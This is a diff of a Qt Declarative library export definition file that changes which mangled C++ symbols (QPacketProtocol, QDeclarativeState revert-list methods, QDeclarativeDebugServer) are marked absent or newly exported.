     	??_EQDeclarativeView@@UAE@I@Z @ 820 NONAME ; QDeclarativeView::~QDeclarativeView(unsigned int)
     	?trUtf8@QDeclarativeStateGroup@@SA?AVQString@@PBD0H@Z @ 821 NONAME ; class QString QDeclarativeStateGroup::trUtf8(char const *, char const *, int)
     	?tag@QMetaMethodBuilder@@QBE?AVQByteArray@@XZ @ 822 NONAME ABSENT ; class QByteArray QMetaMethodBuilder::tag(void) const
    -	?getStaticMetaObject@QPacketProtocol@@SAABUQMetaObject@@XZ @ 823 NONAME ABSENT ; struct QMetaObject const & QPacketProtocol::getStaticMetaObject(void)
    +	?getStaticMetaObject@QPacketProtocol@@SAABUQMetaObject@@XZ @ 823 NONAME ; struct QMetaObject const & QPacketProtocol::getStaticMetaObject(void)
     	?setContext@QDeclarativeScriptString@@QAEXPAVQDeclarativeContext@@@Z @ 824 NONAME ; void QDeclarativeScriptString::setContext(class QDeclarativeContext *)
     	?addImageProvider@QDeclarativeEngine@@QAEXABVQString@@PAVQDeclarativeImageProvider@@@Z @ 825 NONAME ; void QDeclarativeEngine::addImageProvider(class QString const &, class QDeclarativeImageProvider *)
     	?d_func@QDeclarativeStateGroup@@ABEPBVQDeclarativeStateGroupPrivate@@XZ @ 826 NONAME ; class QDeclarativeStateGroupPrivate const * QDeclarativeStateGroup::d_func(void) const
    @@ -1013,7 +1013,7 @@ EXPORTS
     	?agent@QDeclarativeListModel@@QAEPAVQDeclarativeListModelWorkerAgent@@XZ @ 1012 NONAME ABSENT ; class QDeclarativeListModelWorkerAgent * QDeclarativeListModel::agent(void)
     	?engine@QDeclarativeExpression@@QBEPAVQDeclarativeEngine@@XZ @ 1013 NONAME ; class QDeclarativeEngine * QDeclarativeExpression::engine(void) const
     	??_EQDeclarativeDebugWatch@@UAE@I@Z @ 1014 NONAME ABSENT ; QDeclarativeDebugWatch::~QDeclarativeDebugWatch(unsigned int)
    -	?isEmpty@QPacket@@QBE_NXZ @ 1015 NONAME ABSENT ; bool QPacket::isEmpty(void) const
    +	?isEmpty@QPacket@@QBE_NXZ @ 1015 NONAME ; bool QPacket::isEmpty(void) const
     	?qmlType@QDeclarativeMetaType@@SAPAVQDeclarativeType@@PBUQMetaObject@@@Z @ 1016 NONAME ABSENT ; class QDeclarativeType * QDeclarativeMetaType::qmlType(struct QMetaObject const *)
     	?setFill@QDeclarativeAnchors@@QAEXPAVQGraphicsObject@@@Z @ 1017 NONAME ABSENT ; void QDeclarativeAnchors::setFill(class QGraphicsObject *)
     	?setHAlign@QDeclarativeText@@QAEXW4HAlignment@1@@Z @ 1018 NONAME ABSENT ; void QDeclarativeText::setHAlign(enum QDeclarativeText::HAlignment)
    @@ -1029,7 +1029,7 @@ EXPORTS
     	?staticMetaObject@QDeclarativeText@@2UQMetaObject@@B @ 1028 NONAME ABSENT ; struct QMetaObject const QDeclarativeText::staticMetaObject
     	?color@QDeclarativeRectangle@@QBE?AVQColor@@XZ @ 1029 NONAME ABSENT ; class QColor QDeclarativeRectangle::color(void) const
     	?isEnabled@QDeclarativeDebugClient@@QBE_NXZ @ 1030 NONAME ABSENT ; bool QDeclarativeDebugClient::isEnabled(void) const
    -	?send@QPacketProtocol@@QAEXABVQPacket@@@Z @ 1031 NONAME ABSENT ; void QPacketProtocol::send(class QPacket const &)
    +	?send@QPacketProtocol@@QAEXABVQPacket@@@Z @ 1031 NONAME ; void QPacketProtocol::send(class QPacket const &)
     	?width@QDeclarativePixmap@@QBEHXZ @ 1032 NONAME ; int QDeclarativePixmap::width(void) const
     	?error@QDeclarativeCustomParser@@IAEXABVQDeclarativeCustomParserNode@@ABVQString@@@Z @ 1033 NONAME ; void QDeclarativeCustomParser::error(class QDeclarativeCustomParserNode const &, class QString const &)
     	?defaultProperty@QDeclarativeMetaType@@SA?AVQMetaProperty@@PBUQMetaObject@@@Z @ 1034 NONAME ABSENT ; class QMetaProperty QDeclarativeMetaType::defaultProperty(struct QMetaObject const *)
    @@ -1043,7 +1043,7 @@ EXPORTS
     	?trUtf8@QDeclarativeAnchors@@SA?AVQString@@PBD0@Z @ 1042 NONAME ABSENT ; class QString QDeclarativeAnchors::trUtf8(char const *, char const *)
     	?getStaticMetaObject@QDeclarativeValueType@@SAABUQMetaObject@@XZ @ 1043 NONAME ABSENT ; struct QMetaObject const & QDeclarativeValueType::getStaticMetaObject(void)
     	?valueChanged@QDeclarativePropertyMap@@IAEXABVQString@@ABVQVariant@@@Z @ 1044 NONAME ; void QDeclarativePropertyMap::valueChanged(class QString const &, class QVariant const &)
    -	?staticMetaObject@QPacketProtocol@@2UQMetaObject@@B @ 1045 NONAME ABSENT ; struct QMetaObject const QPacketProtocol::staticMetaObject
    +	?staticMetaObject@QPacketProtocol@@2UQMetaObject@@B @ 1045 NONAME ; struct QMetaObject const QPacketProtocol::staticMetaObject
     	?tr@QDeclarativeListModel@@SA?AVQString@@PBD0H@Z @ 1046 NONAME ABSENT ; class QString QDeclarativeListModel::tr(char const *, char const *, int)
     	??0QDeclarativeScriptString@@QAE@XZ @ 1047 NONAME ; QDeclarativeScriptString::QDeclarativeScriptString(void)
     	?tr@QListModelInterface@@SA?AVQString@@PBD0@Z @ 1048 NONAME ABSENT ; class QString QListModelInterface::tr(char const *, char const *)
    @@ -1088,7 +1088,7 @@ EXPORTS
     	?resetWidth@QDeclarativeItemPrivate@@UAEXXZ @ 1087 NONAME ; void QDeclarativeItemPrivate::resetWidth(void)
     	??AQDeclarativeOpenMetaObject@@QAEAAVQVariant@@ABVQByteArray@@@Z @ 1088 NONAME ABSENT ; class QVariant & QDeclarativeOpenMetaObject::operator[](class QByteArray const &)
     	?bottom@QDeclarativeItemPrivate@@QBE?AVQDeclarativeAnchorLine@@XZ @ 1089 NONAME ; class QDeclarativeAnchorLine QDeclarativeItemPrivate::bottom(void) const
    -	?device@QPacketProtocol@@QAEPAVQIODevice@@XZ @ 1090 NONAME ABSENT ; class QIODevice * QPacketProtocol::device(void)
    +	?device@QPacketProtocol@@QAEPAVQIODevice@@XZ @ 1090 NONAME ; class QIODevice * QPacketProtocol::device(void)
     	?trUtf8@QDeclarativeStateGroup@@SA?AVQString@@PBD0@Z @ 1091 NONAME ; class QString QDeclarativeStateGroup::trUtf8(char const *, char const *)
     	?variantFromString@QDeclarativeStringConverters@@YA?AVQVariant@@ABVQString@@HPA_N@Z @ 1092 NONAME ABSENT ; class QVariant QDeclarativeStringConverters::variantFromString(class QString const &, int, bool *)
     	?metaObject@QDeclarativeComponent@@UBEPBUQMetaObject@@XZ @ 1093 NONAME ; struct QMetaObject const * QDeclarativeComponent::metaObject(void) const
    @@ -1110,7 +1110,7 @@ EXPORTS
     	??0QDeclarativeDebugFileReference@@QAE@XZ @ 1109 NONAME ABSENT ; QDeclarativeDebugFileReference::QDeclarativeDebugFileReference(void)
     	?mapFromItem@QDeclarativeItem@@QBE?AVQScriptValue@@ABV2@MM@Z @ 1110 NONAME ; class QScriptValue QDeclarativeItem::mapFromItem(class QScriptValue const &, float, float) const
     	?trUtf8@QDeclarativeStateOperation@@SA?AVQString@@PBD0H@Z @ 1111 NONAME ; class QString QDeclarativeStateOperation::trUtf8(char const *, char const *, int)
    -	?tr@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 1112 NONAME ABSENT ; class QString QPacketProtocol::tr(char const *, char const *, int)
    +	?tr@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 1112 NONAME ; class QString QPacketProtocol::tr(char const *, char const *, int)
     	?d_func@QDeclarativeAnchors@@ABEPBVQDeclarativeAnchorsPrivate@@XZ @ 1113 NONAME ABSENT ; class QDeclarativeAnchorsPrivate const * QDeclarativeAnchors::d_func(void) const
     	?setNotifySignal@QMetaPropertyBuilder@@QAEXABVQMetaMethodBuilder@@@Z @ 1114 NONAME ABSENT ; void QMetaPropertyBuilder::setNotifySignal(class QMetaMethodBuilder const &)
     	?enabled@QDeclarativeBehavior@@QBE_NXZ @ 1115 NONAME ABSENT ; bool QDeclarativeBehavior::enabled(void) const
    @@ -1132,7 +1132,7 @@ EXPORTS
     	?noCreationReason@QDeclarativeType@@QBE?AVQString@@XZ @ 1131 NONAME ABSENT ; class QString QDeclarativeType::noCreationReason(void) const
     	?setUrl@QDeclarativeDebugFileReference@@QAEXABVQUrl@@@Z @ 1132 NONAME ABSENT ; void QDeclarativeDebugFileReference::setUrl(class QUrl const &)
     	??1QDeclarativeCustomParserProperty@@QAE@XZ @ 1133 NONAME ; QDeclarativeCustomParserProperty::~QDeclarativeCustomParserProperty(void)
    -	??1QPacketProtocol@@UAE@XZ @ 1134 NONAME ABSENT ; QPacketProtocol::~QPacketProtocol(void)
    +	??1QPacketProtocol@@UAE@XZ @ 1134 NONAME ; QPacketProtocol::~QPacketProtocol(void)
     	??1QDeclarativeAbstractBinding@@MAE@XZ @ 1135 NONAME ABSENT ; QDeclarativeAbstractBinding::~QDeclarativeAbstractBinding(void)
     	?indexOfEnumerator@QMetaObjectBuilder@@QAEHABVQByteArray@@@Z @ 1136 NONAME ABSENT ; int QMetaObjectBuilder::indexOfEnumerator(class QByteArray const &)
     	?qt_metacast@QDeclarativePen@@UAEPAXPBD@Z @ 1137 NONAME ABSENT ; void * QDeclarativePen::qt_metacast(char const *)
    @@ -1222,7 +1222,7 @@ EXPORTS
     	?statusChanged@QDeclarativeComponent@@IAEXW4Status@1@@Z @ 1221 NONAME ; void QDeclarativeComponent::statusChanged(enum QDeclarativeComponent::Status)
     	?setTarget@QDeclarativeBinding@@QAEXABVQDeclarativeProperty@@@Z @ 1222 NONAME ABSENT ; void QDeclarativeBinding::setTarget(class QDeclarativeProperty const &)
     	?imageProvider@QDeclarativeEngine@@QBEPAVQDeclarativeImageProvider@@ABVQString@@@Z @ 1223 NONAME ; class QDeclarativeImageProvider * QDeclarativeEngine::imageProvider(class QString const &) const
    -	?packetsAvailable@QPacketProtocol@@QBE_JXZ @ 1224 NONAME ABSENT ; long long QPacketProtocol::packetsAvailable(void) const
    +	?packetsAvailable@QPacketProtocol@@QBE_JXZ @ 1224 NONAME ; long long QPacketProtocol::packetsAvailable(void) const
     	?state@QDeclarativeDebugWatch@@QBE?AW4State@1@XZ @ 1225 NONAME ABSENT ; enum QDeclarativeDebugWatch::State QDeclarativeDebugWatch::state(void) const
     	?attachedPropertiesFuncById@QDeclarativeMetaType@@SAP6APAVQObject@@PAV2@@ZH@Z @ 1226 NONAME ABSENT ; class QObject * (*)(class QObject *) QDeclarativeMetaType::attachedPropertiesFuncById(int)
     	?resetBaseline@QDeclarativeAnchors@@QAEXXZ @ 1227 NONAME ABSENT ; void QDeclarativeAnchors::resetBaseline(void)
    @@ -1341,7 +1341,7 @@ EXPORTS
     	?implicitWidth@QDeclarativeItem@@QBEMXZ @ 1340 NONAME ; float QDeclarativeItem::implicitWidth(void) const
     	?metaObject@QDeclarativeContext@@UBEPBUQMetaObject@@XZ @ 1341 NONAME ; struct QMetaObject const * QDeclarativeContext::metaObject(void) const
     	??0QDeclarativeContext@@AAE@PAVQDeclarativeContextData@@@Z @ 1342 NONAME ; QDeclarativeContext::QDeclarativeContext(class QDeclarativeContextData *)
    -	?maximumPacketSize@QPacketProtocol@@QBEHXZ @ 1343 NONAME ABSENT ; int QPacketProtocol::maximumPacketSize(void) const
    +	?maximumPacketSize@QPacketProtocol@@QBEHXZ @ 1343 NONAME ; int QPacketProtocol::maximumPacketSize(void) const
     	??_EQDeclarativeDebuggerStatus@@UAE@I@Z @ 1344 NONAME ABSENT ; QDeclarativeDebuggerStatus::~QDeclarativeDebuggerStatus(unsigned int)
     	?error@QDeclarativeCustomParser@@IAEXABVQString@@@Z @ 1345 NONAME ; void QDeclarativeCustomParser::error(class QString const &)
     	?messageReceived@QDeclarativeDebugService@@MAEXABVQByteArray@@@Z @ 1346 NONAME ABSENT ; void QDeclarativeDebugService::messageReceived(class QByteArray const &)
    @@ -1389,12 +1389,12 @@ EXPORTS
     	?setEnabled@QDeclarativeDebugClient@@QAEX_N@Z @ 1388 NONAME ABSENT ; void QDeclarativeDebugClient::setEnabled(bool)
     	??1QMetaObjectBuilder@@UAE@XZ @ 1389 NONAME ABSENT ; QMetaObjectBuilder::~QMetaObjectBuilder(void)
     	?tr@QDeclarativeStateOperation@@SA?AVQString@@PBD0@Z @ 1390 NONAME ; class QString QDeclarativeStateOperation::tr(char const *, char const *)
    -	?clear@QPacket@@QAEXXZ @ 1391 NONAME ABSENT ; void QPacket::clear(void)
    +	?clear@QPacket@@QAEXXZ @ 1391 NONAME ; void QPacket::clear(void)
     	?getStaticMetaObject@QDeclarativeDebugClient@@SAABUQMetaObject@@XZ @ 1392 NONAME ABSENT ; struct QMetaObject const & QDeclarativeDebugClient::getStaticMetaObject(void)
     	??0QDeclarativeDomList@@QAE@ABV0@@Z @ 1393 NONAME ABSENT ; QDeclarativeDomList::QDeclarativeDomList(class QDeclarativeDomList const &)
     	?gridTop@QDeclarativeGridScaledImage@@QBEHXZ @ 1394 NONAME ABSENT ; int QDeclarativeGridScaledImage::gridTop(void) const
     	?setUrl@QDeclarativeError@@QAEXABVQUrl@@@Z @ 1395 NONAME ; void QDeclarativeError::setUrl(class QUrl const &)
    -	?setMaximumPacketSize@QPacketProtocol@@QAEHH@Z @ 1396 NONAME ABSENT ; int QPacketProtocol::setMaximumPacketSize(int)
    +	?setMaximumPacketSize@QPacketProtocol@@QAEHH@Z @ 1396 NONAME ; int QPacketProtocol::setMaximumPacketSize(int)
     	??_EQDeclarativeAction@@QAE@I@Z @ 1397 NONAME ABSENT ; QDeclarativeAction::~QDeclarativeAction(unsigned int)
     	?trUtf8@QDeclarativeDebugWatch@@SA?AVQString@@PBD0@Z @ 1398 NONAME ABSENT ; class QString QDeclarativeDebugWatch::trUtf8(char const *, char const *)
     	?read@QDeclarativeProperty@@SA?AVQVariant@@PAVQObject@@ABVQString@@@Z @ 1399 NONAME ; class QVariant QDeclarativeProperty::read(class QObject *, class QString const &)
    @@ -1472,7 +1472,7 @@ EXPORTS
     	?signalExpression@QDeclarativePropertyPrivate@@SAPAVQDeclarativeExpression@@ABVQDeclarativeProperty@@@Z @ 1471 NONAME ABSENT ; class QDeclarativeExpression * QDeclarativePropertyPrivate::signalExpression(class QDeclarativeProperty const &)
     	?networkAccessManagerFactory@QDeclarativeEngine@@QBEPAVQDeclarativeNetworkAccessManagerFactory@@XZ @ 1472 NONAME ; class QDeclarativeNetworkAccessManagerFactory * QDeclarativeEngine::networkAccessManagerFactory(void) const
     	?isStringList@Variant@QDeclarativeParser@@QBE_NXZ @ 1473 NONAME ; bool QDeclarativeParser::Variant::isStringList(void) const
    -	?packetWritten@QPacketProtocol@@IAEXXZ @ 1474 NONAME ABSENT ; void QPacketProtocol::packetWritten(void)
    +	?packetWritten@QPacketProtocol@@IAEXXZ @ 1474 NONAME ; void QPacketProtocol::packetWritten(void)
     	?getStaticMetaObject@QDeclarativeDebugObjectQuery@@SAABUQMetaObject@@XZ @ 1475 NONAME ABSENT ; struct QMetaObject const & QDeclarativeDebugObjectQuery::getStaticMetaObject(void)
     	?isSignalProperty@QDeclarativeProperty@@QBE_NXZ @ 1476 NONAME ; bool QDeclarativeProperty::isSignalProperty(void) const
     	?d_func@QDeclarativeDebugService@@AAEPAVQDeclarativeDebugServicePrivate@@XZ @ 1477 NONAME ABSENT ; class QDeclarativeDebugServicePrivate * QDeclarativeDebugService::d_func(void)
    @@ -1488,7 +1488,7 @@ EXPORTS
     	?qt_metacast@QDeclarativePropertyMap@@UAEPAXPBD@Z @ 1487 NONAME ; void * QDeclarativePropertyMap::qt_metacast(char const *)
     	?classBegin@QDeclarativeAnchors@@QAEXXZ @ 1488 NONAME ABSENT ; void QDeclarativeAnchors::classBegin(void)
     	?color@QDeclarativeText@@QBE?AVQColor@@XZ @ 1489 NONAME ABSENT ; class QColor QDeclarativeText::color(void) const
    -	?metaObject@QPacketProtocol@@UBEPBUQMetaObject@@XZ @ 1490 NONAME ABSENT ; struct QMetaObject const * QPacketProtocol::metaObject(void) const
    +	?metaObject@QPacketProtocol@@UBEPBUQMetaObject@@XZ @ 1490 NONAME ; struct QMetaObject const * QPacketProtocol::metaObject(void) const
     	??4QDeclarativeGridScaledImage@@QAEAAV0@ABV0@@Z @ 1491 NONAME ABSENT ; class QDeclarativeGridScaledImage & QDeclarativeGridScaledImage::operator=(class QDeclarativeGridScaledImage const &)
     	?tr@QDeclarativeScaleGrid@@SA?AVQString@@PBD0@Z @ 1492 NONAME ABSENT ; class QString QDeclarativeScaleGrid::tr(char const *, char const *)
     	??1QDeclarativeScriptString@@QAE@XZ @ 1493 NONAME ; QDeclarativeScriptString::~QDeclarativeScriptString(void)
    @@ -1619,7 +1619,7 @@ EXPORTS
     	?metaObject@QDeclarativeItem@@UBEPBUQMetaObject@@XZ @ 1618 NONAME ; struct QMetaObject const * QDeclarativeItem::metaObject(void) const
     	?clear@QDeclarativeAbstractBinding@@IAEXXZ @ 1619 NONAME ABSENT ; void QDeclarativeAbstractBinding::clear(void)
     	?start@QDeclarativeItemPrivate@@SAXAAVQElapsedTimer@@@Z @ 1620 NONAME ; void QDeclarativeItemPrivate::start(class QElapsedTimer &)
    -	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@_N@Z @ 1621 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, bool)
    +	?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@_N@Z @ 1621 NONAME ABSENT ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, bool)
     	?stringToRule@QDeclarativeGridScaledImage@@CA?AW4TileMode@QDeclarativeBorderImage@@ABVQString@@@Z @ 1622 NONAME ABSENT ; enum QDeclarativeBorderImage::TileMode QDeclarativeGridScaledImage::stringToRule(class QString const &)
     	?setHorizontalCenter@QDeclarativeAnchors@@QAEXABVQDeclarativeAnchorLine@@@Z @ 1623 NONAME ABSENT ; void QDeclarativeAnchors::setHorizontalCenter(class QDeclarativeAnchorLine const &)
     	?setFocus@QDeclarativeItem@@QAEX_N@Z @ 1624 NONAME ; void QDeclarativeItem::setFocus(bool)
    @@ -1631,7 +1631,7 @@ EXPORTS
     	??0QDeclarativeContext@@AAE@PAVQDeclarativeEngine@@_N@Z @ 1630 NONAME ; QDeclarativeContext::QDeclarativeContext(class QDeclarativeEngine *, bool)
     	?initialValue@QDeclarativeOpenMetaObject@@UAE?AVQVariant@@H@Z @ 1631 NONAME ABSENT ; class QVariant QDeclarativeOpenMetaObject::initialValue(int)
     	?tr@QDeclarativeView@@SA?AVQString@@PBD0@Z @ 1632 NONAME ; class QString QDeclarativeView::tr(char const *, char const *)
    -	?qt_metacall@QPacketProtocol@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1633 NONAME ABSENT ; int QPacketProtocol::qt_metacall(enum QMetaObject::Call, int, void * *)
    +	?qt_metacall@QPacketProtocol@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1633 NONAME ; int QPacketProtocol::qt_metacall(enum QMetaObject::Call, int, void * *)
     	??0QDeclarativeItem@@QAE@PAV0@@Z @ 1634 NONAME ; QDeclarativeItem::QDeclarativeItem(class QDeclarativeItem *)
     	?hasDebuggingClient@QDeclarativeDebugService@@SA_NXZ @ 1635 NONAME ABSENT ; bool QDeclarativeDebugService::hasDebuggingClient(void)
     	?staticMetaObject@QDeclarativeContext@@2UQMetaObject@@B @ 1636 NONAME ; struct QMetaObject const QDeclarativeContext::staticMetaObject
    @@ -1645,15 +1645,15 @@ EXPORTS
     	??_EQDeclarativePropertyChanges@@UAE@I@Z @ 1644 NONAME ABSENT ; QDeclarativePropertyChanges::~QDeclarativePropertyChanges(unsigned int)
     	?setObject@QDeclarativePropertyChanges@@QAEXPAVQObject@@@Z @ 1645 NONAME ABSENT ; void QDeclarativePropertyChanges::setObject(class QObject *)
     	?staticMetaObject@QDeclarativePropertyChanges@@2UQMetaObject@@B @ 1646 NONAME ABSENT ; struct QMetaObject const QDeclarativePropertyChanges::staticMetaObject
    -	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@@Z @ 1647 NONAME ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QByteArray const &)
    +	?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@@Z @ 1647 NONAME ABSENT ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QByteArray const &)
     	?restoreEntryValues@QDeclarativePropertyChanges@@QBE_NXZ @ 1648 NONAME ABSENT ; bool QDeclarativePropertyChanges::restoreEntryValues(void) const
     	?setRestoreEntryValues@QDeclarativePropertyChanges@@QAEX_N@Z @ 1649 NONAME ABSENT ; void QDeclarativePropertyChanges::setRestoreEntryValues(bool)
     	?changeValue@QDeclarativePropertyChanges@@QAEXABVQByteArray@@ABVQVariant@@@Z @ 1650 NONAME ABSENT ; void QDeclarativePropertyChanges::changeValue(class QByteArray const &, class QVariant const &)
     	?metaObject@QDeclarativePropertyChanges@@UBEPBUQMetaObject@@XZ @ 1651 NONAME ABSENT ; struct QMetaObject const * QDeclarativePropertyChanges::metaObject(void) const
     	?data_clear@QDeclarativeItemPrivate@@SAXPAV?$QDeclarativeListProperty@VQObject@@@@@Z @ 1652 NONAME ; void QDeclarativeItemPrivate::data_clear(class QDeclarativeListProperty *)
    -	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQByteArray@@@Z @ 1653 NONAME ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QByteArray const &) const
    +	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQByteArray@@@Z @ 1653 NONAME ABSENT ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QByteArray const &) const
     	?containsValue@QDeclarativePropertyChanges@@QBE_NABVQByteArray@@@Z @ 1654 NONAME ABSENT ; bool QDeclarativePropertyChanges::containsValue(class QByteArray const &) const
    -	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQByteArray@@@Z @ 1655 NONAME ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QByteArray const &) const
    +	?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQByteArray@@@Z @ 1655 NONAME ABSENT ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QByteArray const &) const
     	?d_func@QDeclarativePropertyChanges@@ABEPBVQDeclarativePropertyChangesPrivate@@XZ @ 1656 NONAME ABSENT ; class QDeclarativePropertyChangesPrivate const * QDeclarativePropertyChanges::d_func(void) const
     	?containsProperty@QDeclarativePropertyChanges@@QBE_NABVQByteArray@@@Z @ 1657 NONAME ABSENT ; bool QDeclarativePropertyChanges::containsProperty(class QByteArray const &) const
     	?trUtf8@QDeclarativePropertyChanges@@SA?AVQString@@PBD0H@Z @ 1658 NONAME ABSENT ; class QString QDeclarativePropertyChanges::trUtf8(char const *, char const *, int)
    @@ -1677,17 +1677,17 @@ EXPORTS
     	?addEntriesToRevertList@QDeclarativeState@@QAEXABV?$QList@VQDeclarativeAction@@@@@Z @ 1676 NONAME ; void QDeclarativeState::addEntriesToRevertList(class QList const &)
     	?expression@QDeclarativePropertyChanges@@QBE?AVQString@@ABVQByteArray@@@Z @ 1677 NONAME ABSENT ; class QString QDeclarativePropertyChanges::expression(class QByteArray const &) const
     	?object@QDeclarativePropertyChanges@@QBEPAVQObject@@XZ @ 1678 NONAME ABSENT ; class QObject * QDeclarativePropertyChanges::object(void) const
    -	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQByteArray@@@Z @ 1679 NONAME ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QByteArray const &) const
    +	?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQByteArray@@@Z @ 1679 NONAME ABSENT ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QByteArray const &) const
     	?removeAllEntriesFromRevertList@QDeclarativeState@@QAEXPAVQObject@@@Z @ 1680 NONAME ; void QDeclarativeState::removeAllEntriesFromRevertList(class QObject *)
     	?d_func@QDeclarativeStateOperation@@AAEPAVQDeclarativeStateOperationPrivate@@XZ @ 1681 NONAME ; class QDeclarativeStateOperationPrivate * QDeclarativeStateOperation::d_func(void)
    -	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@ABVQVariant@@@Z @ 1682 NONAME ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QByteArray const &, class QVariant const &)
    +	?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@ABVQVariant@@@Z @ 1682 NONAME ABSENT ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QByteArray const &, class QVariant const &)
     	?setIsExplicit@QDeclarativePropertyChanges@@QAEX_N@Z @ 1683 NONAME ABSENT ; void QDeclarativePropertyChanges::setIsExplicit(bool)
     	?isStateActive@QDeclarativeState@@QBE_NXZ @ 1684 NONAME ; bool QDeclarativeState::isStateActive(void) const
     	?data_count@QDeclarativeItemPrivate@@SAHPAV?$QDeclarativeListProperty@VQObject@@@@@Z @ 1685 NONAME ; int QDeclarativeItemPrivate::data_count(class QDeclarativeListProperty *)
     	?removeProperty@QDeclarativePropertyChanges@@QAEXABVQByteArray@@@Z @ 1686 NONAME ABSENT ; void QDeclarativePropertyChanges::removeProperty(class QByteArray const &)
     	?data_at@QDeclarativeItemPrivate@@SAPAVQObject@@PAV?$QDeclarativeListProperty@VQObject@@@@H@Z @ 1687 NONAME ; class QObject * QDeclarativeItemPrivate::data_at(class QDeclarativeListProperty *, int)
     	?tr@QDeclarativePropertyChanges@@SA?AVQString@@PBD0@Z @ 1688 NONAME ABSENT ; class QString QDeclarativePropertyChanges::tr(char const *, char const *)
    -	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@PAVQDeclarativeAbstractBinding@@@Z @ 1689 NONAME ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QByteArray const &, class QDeclarativeAbstractBinding *)
    +	?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@PAVQDeclarativeAbstractBinding@@@Z @ 1689 NONAME ABSENT ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QByteArray const &, class QDeclarativeAbstractBinding *)
     	?getStaticMetaObject@QDeclarativePropertyChanges@@SAABUQMetaObject@@XZ @ 1690 NONAME ABSENT ; struct QMetaObject const & QDeclarativePropertyChanges::getStaticMetaObject(void)
     	?weakPointer@QDeclarativeAbstractBinding@@QAE?AV?$QWeakPointer@VQDeclarativeAbstractBinding@@@@XZ @ 1691 NONAME ABSENT ; class QWeakPointer QDeclarativeAbstractBinding::weakPointer(void)
     	?getStaticMetaObject@QDeclarativeScriptAction@@SAABUQMetaObject@@XZ @ 1692 NONAME ABSENT ; struct QMetaObject const & QDeclarativeScriptAction::getStaticMetaObject(void)
    @@ -1840,4 +1840,47 @@ EXPORTS
     	?qt_metacall@QDeclarativeAbstractAnimation@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1839 NONAME ABSENT ; int QDeclarativeAbstractAnimation::qt_metacall(enum QMetaObject::Call, int, void * *)
     	?enableDebugging@QDeclarativeDebugHelper@@SAXXZ @ 1840 NONAME ; void QDeclarativeDebugHelper::enableDebugging(void)
     	?connect@QDeclarativePropertyPrivate@@SA_NPBVQObject@@H0HHPAH@Z @ 1841 NONAME ABSENT ; bool QDeclarativePropertyPrivate::connect(class QObject const *, int, class QObject const *, int, int, int *)
    +	?qt_metacall@QDeclarativeDebugServer@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1842 NONAME ; int QDeclarativeDebugServer::qt_metacall(enum QMetaObject::Call, int, void * *)
    +	?implicitHeight@QDeclarativeItemPrivate@@UBEMXZ @ 1843 NONAME ; float QDeclarativeItemPrivate::implicitHeight(void) const
    +	?instance@QDeclarativeDebugServer@@SAPAV1@XZ @ 1844 NONAME ; class QDeclarativeDebugServer * QDeclarativeDebugServer::instance(void)
    +	?addService@QDeclarativeDebugServer@@QAE_NPAVQDeclarativeDebugService@@@Z @ 1845 NONAME ; bool QDeclarativeDebugServer::addService(class QDeclarativeDebugService *)
    +	?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQString@@@Z @ 1846 NONAME ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QString const &) const
    +	?data@QPacket@@QBE?AVQByteArray@@XZ @ 1847 NONAME ; class QByteArray QPacket::data(void) const
    +	?removeService@QDeclarativeDebugServer@@QAE_NPAVQDeclarativeDebugService@@@Z @ 1848 NONAME ; bool QDeclarativeDebugServer::removeService(class QDeclarativeDebugService *)
    +	?serviceNames@QDeclarativeDebugServer@@QBE?AVQStringList@@XZ @ 1849 NONAME ; class QStringList QDeclarativeDebugServer::serviceNames(void) const
    +	??_EQDeclarativeDebugServer@@UAE@I@Z @ 1850 NONAME ; QDeclarativeDebugServer::~QDeclarativeDebugServer(unsigned int)
    +	?staticMetaObject@QDeclarativeDebugServer@@2UQMetaObject@@B @ 1851 NONAME ; struct QMetaObject const QDeclarativeDebugServer::staticMetaObject
    +	?services@QDeclarativeDebugServer@@QBE?AV?$QList@PAVQDeclarativeDebugService@@@@XZ @ 1852 NONAME ; class QList QDeclarativeDebugServer::services(void) const
